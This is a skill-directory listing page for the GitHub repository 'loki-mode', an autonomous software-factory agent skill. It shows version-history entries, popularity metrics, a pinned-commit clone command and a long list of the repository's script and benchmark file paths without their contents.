#815 by GitHub stars

asklokesh/loki-mode

Autonomous software factory. Give it a GitHub issue, a spec or a one-line task; get back a pull request with a signed receipt anyone can re-check offline. Runs on your machine with your own keys: Claude, Codex, OpenCode.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

SKILL.md

Week of Nov 2, 2026 · +25 / −39 lines

Before Not checked yet → After Network or broad shell

30f02277c65d → e504a5060099

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 30f02277c65d

No earlier version was observed for comparison.

Compare on GitHub

examples/agent-skills/checkpoint-mode/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

30f02277c65d → e504a5060099

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 30f02277c65d

No earlier version was observed for comparison.

Compare on GitHub

examples/agent-skills/prompt-optimization/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

30f02277c65d → e504a5060099

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 30f02277c65d

No earlier version was observed for comparison.

Compare on GitHub

integrations/openclaw/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

30f02277c65d → e504a5060099

A local comparison is unavailable. You can inspect the recorded versions on GitHub.

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 30f02277c65d

No earlier version was observed for comparison.

Compare on GitHub

packages/loki-seal/skills/loki-seal/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

30f02277c65d → e504a5060099

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 30f02277c65d

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit e504a506009979196fd963d62495309a02355894

git clone --filter=blob:none --no-checkout https://github.com/asklokesh/loki-mode.git .hotskills/asklokesh-loki-mode && git -C .hotskills/asklokesh-loki-mode checkout --detach e504a506009979196fd963d62495309a02355894 # Copy each selected skill directory from .hotskills/asklokesh-loki-mode into .claude/skills/<skill-name>/
1.1kGitHub stars
6stars in 7 days
3skills in this repository
4.1kcommits in 30 days

Heat

5.6
  • Star growth, last 7 daysAhead of 74% of tracked repositories
  • Star growth, last 24 hoursAhead of 72% of tracked repositories
  • Rank movement, last 7 daysAhead of 11% of tracked repositories
  • Commits, last 30 daysAhead of 100% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 6, 20261,119

Individual skills in this repository

How it works

loki-mode

When your agent uses it

Runs an autonomous software factory that knows what it is supposed to deliver and proves it did, with a signed receipt. Use when the user says Loki Mode or asks to build, fix or verify software autonomously.

What it loads into context

Frontmatter

50 tokens

Always available to the agent

SKILL.md

7,482 tokens

When the skill is activated

Reference documents

995,776 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. PRIORITY 1: Load Context (Every Turn)
  2. PRIORITY 2: Execute (RARV Cycle)
  3. PRIORITY 3: Autonomy Rules
  4. Model Selection
  5. Phase Transitions
  6. Context Management
  7. Key Files
  8. Module Loading Protocol (Skills)
  9. Command list
  10. Invocation
  11. Human Intervention (v3.4.0)
  12. Complexity Tiers (v3.4.0)
  13. Managed Agents Integration (v7.2.0)
  14. Phase 1 RARV-C Closure (v7.5.x)
  15. Trust-layer additions (v7.28.0)
  16. Harness intelligence (v8.0.0)
  17. Operational observability (v8.0.0)
  18. First-run UX (v7.29.0)
  19. Concurrency and Security Hardening (v7.5.7 - v7.5.13)
  20. Feature status

Scripts executed separately

  • .githooks/pre-commit
  • .githooks/pre-push
  • .github/actions/receipt-check/check.sh
  • agents/custom_agents.py
  • agents/hub_install.py
  • agents/managed_registry.py
  • api/client.ts
  • api/middleware/auth.ts
  • api/middleware/cors.ts
  • api/middleware/error.ts
  • api/middleware/timing.ts
  • api/mod.ts
  • api/routes/events.ts
  • api/routes/health.ts
  • api/routes/learning.ts
  • api/routes/memory.ts
  • api/routes/sessions.ts
  • api/routes/tasks.ts
  • api/server.js
  • api/server.ts
  • api/services/cli-bridge.ts
  • api/services/event-bus.ts
  • api/services/learning-collector.ts
  • api/services/state-notifications.ts
  • api/services/state-watcher.ts
  • api/types/api.ts
  • api/types/events.ts
  • api/types/memory.ts
  • autonomy/acp-agent.py
  • autonomy/api-server.js
  • autonomy/app-runner.sh
  • autonomy/bmad-adapter.py
  • autonomy/checklist-verify.py
  • autonomy/completion-council.sh
  • autonomy/context-tracker.py
  • autonomy/council-v2.sh
  • autonomy/crash.sh
  • autonomy/docker-run.sh
  • autonomy/edit.sh
  • autonomy/grill.sh
  • autonomy/hooks/migration-hooks.sh
  • autonomy/hooks/quality-gate.sh
  • autonomy/hooks/session-init.sh
  • autonomy/hooks/store-episode.sh
  • autonomy/hooks/track-metrics.sh
  • autonomy/hooks/validate-bash.sh
  • autonomy/intent.sh
  • autonomy/issue-parser.sh
  • autonomy/issue-providers.sh
  • autonomy/lib/ablation.py
  • autonomy/lib/assets_bundle.py
  • autonomy/lib/backlog.py
  • autonomy/lib/browser-open.sh
  • autonomy/lib/chat.sh
  • autonomy/lib/check_author.py
  • autonomy/lib/checkpoint_sync.py
  • autonomy/lib/claim_grounding.py
  • autonomy/lib/claude-flags.sh
  • autonomy/lib/claude_permissions.py
  • autonomy/lib/cockpit-render.sh
  • autonomy/lib/config-map.sh
  • autonomy/lib/contract-scaffold/generate.mjs
  • autonomy/lib/contract-scaffold/scaffold.sh
  • autonomy/lib/cost-summary.py
  • autonomy/lib/cr-rematerialize.py
  • autonomy/lib/crash_capture.py
  • autonomy/lib/crash_redact.py
  • autonomy/lib/deadline.py
  • autonomy/lib/decision_record.py
  • autonomy/lib/dependency-setup.sh
  • autonomy/lib/done-recognition.sh
  • autonomy/lib/efficiency_cost.py
  • autonomy/lib/effort_estimator.py
  • autonomy/lib/engine10-push-gitlab.sh
  • autonomy/lib/engine10-push.sh
  • autonomy/lib/expectation-ledger.py
  • autonomy/lib/failure_memory.py
  • autonomy/lib/fast_verify.py
  • autonomy/lib/functional-verify.py
  • autonomy/lib/gate_policy.py
  • autonomy/lib/git-pr-advisory.sh
  • autonomy/lib/help-core.sh
  • autonomy/lib/iteration_attribution.py
  • autonomy/lib/json-output.sh
  • autonomy/lib/lock.sh
  • autonomy/lib/loki_yaml.py
  • autonomy/lib/mcp-config.sh
  • autonomy/lib/modernize/java_capture.sh
  • autonomy/lib/modernize/py_capture.py
  • autonomy/lib/modernize/py_imports.py
  • autonomy/lib/no_mock_scan.py
  • autonomy/lib/os_sandbox.py
  • autonomy/lib/outcome_contract.py
  • autonomy/lib/outcome_ledger.py
  • autonomy/lib/own-render.py
  • autonomy/lib/prd-enrich.sh
  • autonomy/lib/preedit_snapshot.py
  • autonomy/lib/project-graph.sh
  • autonomy/lib/proof-analytics-props.py
  • autonomy/lib/proof-check.sh
  • autonomy/lib/proof-generator.py
  • autonomy/lib/proof-pr.sh
  • autonomy/lib/proof-verify.py
  • autonomy/lib/proof_redact.py
  • autonomy/lib/requirements_contract.py
  • autonomy/lib/review_risk.py
  • autonomy/lib/run-summary.sh
  • autonomy/lib/scaffold-hook.sh
  • autonomy/lib/sdk-mode.sh
  • autonomy/lib/secret-scan.sh
  • autonomy/lib/secure-scan.py
  • autonomy/lib/sentrux-gate.sh
  • autonomy/lib/silence_report.py
  • autonomy/lib/skill-link-heal.sh
  • autonomy/lib/spec-expand.sh
  • autonomy/lib/tree_digest.py
  • autonomy/lib/trust_metrics.py
  • autonomy/lib/trust_trajectory.py
  • autonomy/lib/verdict.py
  • autonomy/lib/voter-agents.sh
  • autonomy/lib/wiki-ask.py
  • autonomy/lib/wiki-generator.py
  • autonomy/lib/wiki_index.py
  • autonomy/lib/wiki_llm.py
  • autonomy/lib/workspace.py
  • autonomy/lib/workspace_comment.py
  • autonomy/lib/workspace_diff.py
  • autonomy/lib/workspace_metrics.py
  • autonomy/lib/worktree_prep.py
  • autonomy/loki
  • autonomy/mcp-launch.sh
  • autonomy/migration-agents.sh
  • autonomy/mirofish-adapter.py
  • autonomy/mobile-verify.sh
  • autonomy/notification-checker.py
  • autonomy/notify.sh
  • autonomy/openspec-adapter.py
  • autonomy/playwright-verify.sh
  • autonomy/prd-analyzer.py
  • autonomy/prd-checklist.sh
  • autonomy/provider-offer.sh
  • autonomy/queue-consumer.sh
  • autonomy/quickstart.sh
  • autonomy/receipt_jwt.py
  • autonomy/route.sh
  • autonomy/run.sh
  • autonomy/sandbox.sh
  • autonomy/serve.sh
  • autonomy/setup-wizard.sh
  • autonomy/spec-interrogation.sh
  • autonomy/spec.sh
  • autonomy/telemetry.sh
  • autonomy/trigger-schedule.py
  • autonomy/trigger-server.py
  • autonomy/tui.sh
  • autonomy/verify.sh
  • autonomy/voice.sh
  • benchmarks/h2h/h2h.py
  • benchmarks/h2h/run.sh
  • benchmarks/h2h/sequences/go-cli-commands/repo/cli/add.go
  • benchmarks/h2h/sequences/go-cli-commands/repo/cli/cli.go
  • benchmarks/h2h/sequences/go-cli-commands/repo/notes/store.go
  • benchmarks/h2h/sequences/go-cli-commands/repo/tests/visible_test.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s1/hidden/list_hidden_test.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s1/solution/cli/list.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s2/hidden/done_hidden_test.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s2/solution/cli/done.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/hidden/remove_hidden_test.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/help.go
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/remove.go
  • benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/mathx.go
  • benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/registry.go
  • benchmarks/h2h/sequences/go-mathx-registry/repo/tests/conventions_test.go
  • benchmarks/h2h/sequences/go-mathx-registry/repo/tests/mathx_test.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/hidden/gcd_hidden_test.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/mathx.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/registry.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/hidden/lcm_hidden_test.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/mathx.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/registry.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/hidden/prime_hidden_test.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/mathx.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/registry.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/hidden/pow_hidden_test.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/mathx.go
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/registry.go
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/__init__.py
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/__init__.py
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/text_exporter.py
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/summary.py
  • benchmarks/h2h/sequences/py-report-formats/repo/tests/test_reports.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s1/hidden/test_csv_hidden.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s1/solution/reports/exporters/csv_exporter.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s2/hidden/test_json_hidden.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s2/solution/reports/exporters/json_exporter.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/hidden/test_markdown_hidden.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/__init__.py
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/markdown_exporter.py
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_conventions.py
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_transforms.py
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/__init__.py
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/transforms.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/hidden/test_truncate_hidden.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/solution/textkit/transforms.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/hidden/test_snake_hidden.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/solution/textkit/transforms.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/hidden/test_accents_hidden.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/solution/textkit/transforms.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/hidden/test_wrap_hidden.py
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/solution/textkit/transforms.py
  • benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_conventions.py
  • benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_converters.py
  • benchmarks/h2h/sequences/py-unit-registry/repo/units/__init__.py
  • benchmarks/h2h/sequences/py-unit-registry/repo/units/converters.py
  • benchmarks/h2h/sequences/py-unit-registry/repo/units/registry.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/hidden/test_celsius_hidden.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/converters.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/registry.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/hidden/test_km_hidden.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/converters.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/registry.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/hidden/test_kg_hidden.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/converters.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/registry.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/hidden/test_liters_hidden.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/converters.py
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/registry.py
  • benchmarks/h2h/sequences/py-validators/repo/forms/__init__.py
  • benchmarks/h2h/sequences/py-validators/repo/forms/errors.py
  • benchmarks/h2h/sequences/py-validators/repo/forms/validators.py
  • benchmarks/h2h/sequences/py-validators/repo/tests/test_validators.py
  • benchmarks/h2h/sequences/py-validators/steps/s1/hidden/test_email_hidden.py
  • benchmarks/h2h/sequences/py-validators/steps/s1/solution/forms/validators.py
  • benchmarks/h2h/sequences/py-validators/steps/s2/hidden/test_phone_hidden.py
  • benchmarks/h2h/sequences/py-validators/steps/s2/solution/forms/validators.py
  • benchmarks/h2h/sequences/py-validators/steps/s3/hidden/test_form_hidden.py
  • benchmarks/h2h/sequences/py-validators/steps/s3/solution/forms/validators.py
  • benchmarks/h2h/sequences/ts-format-catalog/repo/package.json
  • benchmarks/h2h/sequences/ts-format-catalog/repo/src/catalog.ts
  • benchmarks/h2h/sequences/ts-format-catalog/repo/src/format.ts
  • benchmarks/h2h/sequences/ts-format-catalog/repo/src/guard.ts
  • benchmarks/h2h/sequences/ts-format-catalog/repo/test/conventions.test.ts
  • benchmarks/h2h/sequences/ts-format-catalog/repo/test/format.test.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/hidden/duration.hidden.test.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/catalog.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/format.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/hidden/ordinal.hidden.test.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/catalog.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/format.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/hidden/compact.hidden.test.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/catalog.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/format.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/hidden/currency.hidden.test.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/catalog.ts
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/format.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/package.json
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/cart.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/pricing.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/bulkDiscount.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/types.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/repo/test/pricing.test.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/hidden/percentOff.hidden.test.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/solution/src/rules/percentOff.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/hidden/buyXGetY.hidden.test.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/solution/src/rules/buyXGetY.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/hidden/registry.hidden.test.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/index.ts
  • benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/threshold.ts
  • benchmarks/h2h/tasks/go-bank-transfer/hidden/h2h_hidden_test.go
  • benchmarks/h2h/tasks/go-bank-transfer/repo/account/account.go
  • benchmarks/h2h/tasks/go-bank-transfer/repo/ledger/ledger.go
  • benchmarks/h2h/tasks/go-bank-transfer/repo/tests/visible_test.go
  • benchmarks/h2h/tasks/go-bank-transfer/solution/account/account.go
  • benchmarks/h2h/tasks/go-bank-transfer/solution/ledger/ledger.go
  • benchmarks/h2h/tasks/go-config-merge/hidden/h2h_hidden_test.go
  • benchmarks/h2h/tasks/go-config-merge/repo/config/env.go
  • benchmarks/h2h/tasks/go-config-merge/repo/config/file.go
  • benchmarks/h2h/tasks/go-config-merge/repo/config/merge.go
  • benchmarks/h2h/tasks/go-config-merge/repo/server/server.go
  • benchmarks/h2h/tasks/go-config-merge/repo/tests/visible_test.go
  • benchmarks/h2h/tasks/go-config-merge/solution/config/env.go
  • benchmarks/h2h/tasks/go-config-merge/solution/config/file.go
  • benchmarks/h2h/tasks/go-config-merge/solution/config/merge.go
  • benchmarks/h2h/tasks/go-ratelimit/hidden/h2h_hidden_test.go
  • benchmarks/h2h/tasks/go-ratelimit/repo/ratelimit/window.go
  • benchmarks/h2h/tasks/go-ratelimit/repo/tests/visible_test.go
  • benchmarks/h2h/tasks/go-ratelimit/solution/ratelimit/bucket.go
  • benchmarks/h2h/tasks/go-store-refactor/hidden/h2h_hidden_test.go
  • benchmarks/h2h/tasks/go-store-refactor/repo/notes/format.go
  • benchmarks/h2h/tasks/go-store-refactor/repo/notes/handlers.go
  • benchmarks/h2h/tasks/go-store-refactor/repo/notes/store.go
  • benchmarks/h2h/tasks/go-store-refactor/repo/tests/visible_test.go
  • benchmarks/h2h/tasks/go-store-refactor/solution/notes/handlers.go
  • benchmarks/h2h/tasks/go-store-refactor/solution/notes/store.go
  • benchmarks/h2h/tasks/go-topo-schedule/hidden/h2h_hidden_test.go
  • benchmarks/h2h/tasks/go-topo-schedule/repo/sched/graph.go
  • benchmarks/h2h/tasks/go-topo-schedule/repo/tests/visible_test.go
  • benchmarks/h2h/tasks/go-topo-schedule/solution/sched/plan.go
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/hidden/h2h_hidden_test.go
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/tests/visible_test.go
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/count.go
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/tokenize.go
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/count.go
  • benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/tokenize.go
  • benchmarks/h2h/tasks/py-cache-ttl/hidden/test_cache_hidden.py
  • benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/__init__.py
  • benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/cache.py
  • benchmarks/h2h/tasks/py-cache-ttl/repo/tests/test_cache.py
  • benchmarks/h2h/tasks/py-cache-ttl/solution/cachelib/cache.py
  • benchmarks/h2h/tasks/py-csv-quotes/hidden/test_parser_hidden.py
  • benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/__init__.py
  • benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/parser.py
  • benchmarks/h2h/tasks/py-csv-quotes/repo/tests/test_parser.py
  • benchmarks/h2h/tasks/py-csv-quotes/solution/csvlite/parser.py
  • benchmarks/h2h/tasks/py-invoice-rounding/hidden/test_invoice_hidden.py
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/__init__.py
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/invoice.py
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/money.py
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/tax.py
  • benchmarks/h2h/tasks/py-invoice-rounding/repo/tests/test_invoice.py
  • benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/money.py
  • benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/tax.py
  • benchmarks/h2h/tasks/py-retry-decorator/hidden/test_retry_hidden.py
  • benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/__init__.py
  • benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/http.py
  • benchmarks/h2h/tasks/py-retry-decorator/repo/tests/test_http.py
  • benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/http.py
  • benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/retry.py
  • benchmarks/h2h/tasks/py-semver-range/hidden/test_range_hidden.py
  • benchmarks/h2h/tasks/py-semver-range/repo/semverlite/__init__.py
  • benchmarks/h2h/tasks/py-semver-range/repo/semverlite/version.py
  • benchmarks/h2h/tasks/py-semver-range/repo/tests/test_version.py
  • benchmarks/h2h/tasks/py-semver-range/solution/semverlite/range.py
  • benchmarks/h2h/tasks/py-todo-json/hidden/test_cli_hidden.py
  • benchmarks/h2h/tasks/py-todo-json/repo/tests/test_cli.py
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/__init__.py
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/cli.py
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/models.py
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/report.py
  • benchmarks/h2h/tasks/py-todo-json/repo/todo/store.py
  • benchmarks/h2h/tasks/py-todo-json/solution/todo/cli.py
  • benchmarks/h2h/tasks/py-todo-json/solution/todo/report.py
  • benchmarks/h2h/tasks/ts-cart-discounts/hidden/cart.hidden.test.ts
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/package.json
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/src/cart.ts
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/src/checkout.ts
  • benchmarks/h2h/tasks/ts-cart-discounts/repo/test/cart.test.ts
  • benchmarks/h2h/tasks/ts-cart-discounts/solution/src/cart.ts
  • benchmarks/h2h/tasks/ts-cart-discounts/solution/src/checkout.ts
  • benchmarks/h2h/tasks/ts-cart-discounts/solution/src/discounts.ts
  • benchmarks/h2h/tasks/ts-cron-next/hidden/cron.hidden.test.ts
  • benchmarks/h2h/tasks/ts-cron-next/repo/package.json
  • benchmarks/h2h/tasks/ts-cron-next/repo/src/jobs.ts
  • benchmarks/h2h/tasks/ts-cron-next/repo/test/jobs.test.ts
  • benchmarks/h2h/tasks/ts-cron-next/solution/src/cron.ts
  • benchmarks/h2h/tasks/ts-duration-fix/hidden/duration.hidden.test.ts
  • benchmarks/h2h/tasks/ts-duration-fix/repo/package.json
  • benchmarks/h2h/tasks/ts-duration-fix/repo/src/duration.ts
  • benchmarks/h2h/tasks/ts-duration-fix/repo/src/job.ts
  • benchmarks/h2h/tasks/ts-duration-fix/repo/test/duration.test.ts
  • benchmarks/h2h/tasks/ts-duration-fix/solution/src/duration.ts
  • benchmarks/h2h/tasks/ts-order-currency/hidden/orders.hidden.test.ts
  • benchmarks/h2h/tasks/ts-order-currency/repo/package.json
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/export.ts
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/format.ts
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/report.ts
  • benchmarks/h2h/tasks/ts-order-currency/repo/src/types.ts
  • benchmarks/h2h/tasks/ts-order-currency/repo/test/orders.test.ts
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/export.ts
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/format.ts
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/report.ts
  • benchmarks/h2h/tasks/ts-order-currency/solution/src/types.ts
  • benchmarks/h2h/tasks/ts-paginate-fix/hidden/paginate.hidden.test.ts
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/package.json
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/src/paginate.ts
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/src/users.ts
  • benchmarks/h2h/tasks/ts-paginate-fix/repo/test/paginate.test.ts
  • benchmarks/h2h/tasks/ts-paginate-fix/solution/src/paginate.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/hidden/accounts.hidden.test.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/package.json
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/src/invite.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/src/profile.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/src/signup.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/repo/test/accounts.test.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/invite.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/profile.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/signup.ts
  • benchmarks/h2h/tasks/ts-validate-refactor/solution/src/validate.ts
  • benchmarks/seeded-defects/cases/SD-0001/check.py
  • benchmarks/seeded-defects/cases/SD-0001/src.py
  • benchmarks/seeded-defects/cases/SD-0001/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0002/check.py
  • benchmarks/seeded-defects/cases/SD-0002/src.py
  • benchmarks/seeded-defects/cases/SD-0002/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0003/check.py
  • benchmarks/seeded-defects/cases/SD-0003/src.py
  • benchmarks/seeded-defects/cases/SD-0003/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0004/check.py
  • benchmarks/seeded-defects/cases/SD-0004/src.py
  • benchmarks/seeded-defects/cases/SD-0004/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0005/check.py
  • benchmarks/seeded-defects/cases/SD-0005/src.py
  • benchmarks/seeded-defects/cases/SD-0005/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0006/check.py
  • benchmarks/seeded-defects/cases/SD-0006/src.py
  • benchmarks/seeded-defects/cases/SD-0006/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0007/check.py
  • benchmarks/seeded-defects/cases/SD-0007/src.py
  • benchmarks/seeded-defects/cases/SD-0007/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0008/check.py
  • benchmarks/seeded-defects/cases/SD-0008/src.py
  • benchmarks/seeded-defects/cases/SD-0008/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0009/check.py
  • benchmarks/seeded-defects/cases/SD-0009/src.py
  • benchmarks/seeded-defects/cases/SD-0009/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0010/check.py
  • benchmarks/seeded-defects/cases/SD-0010/src.py
  • benchmarks/seeded-defects/cases/SD-0010/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0011/check.py
  • benchmarks/seeded-defects/cases/SD-0011/src.py
  • benchmarks/seeded-defects/cases/SD-0011/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0012/check.py
  • benchmarks/seeded-defects/cases/SD-0012/src.py
  • benchmarks/seeded-defects/cases/SD-0012/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0013/check.py
  • benchmarks/seeded-defects/cases/SD-0013/src.py
  • benchmarks/seeded-defects/cases/SD-0013/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0014/check.py
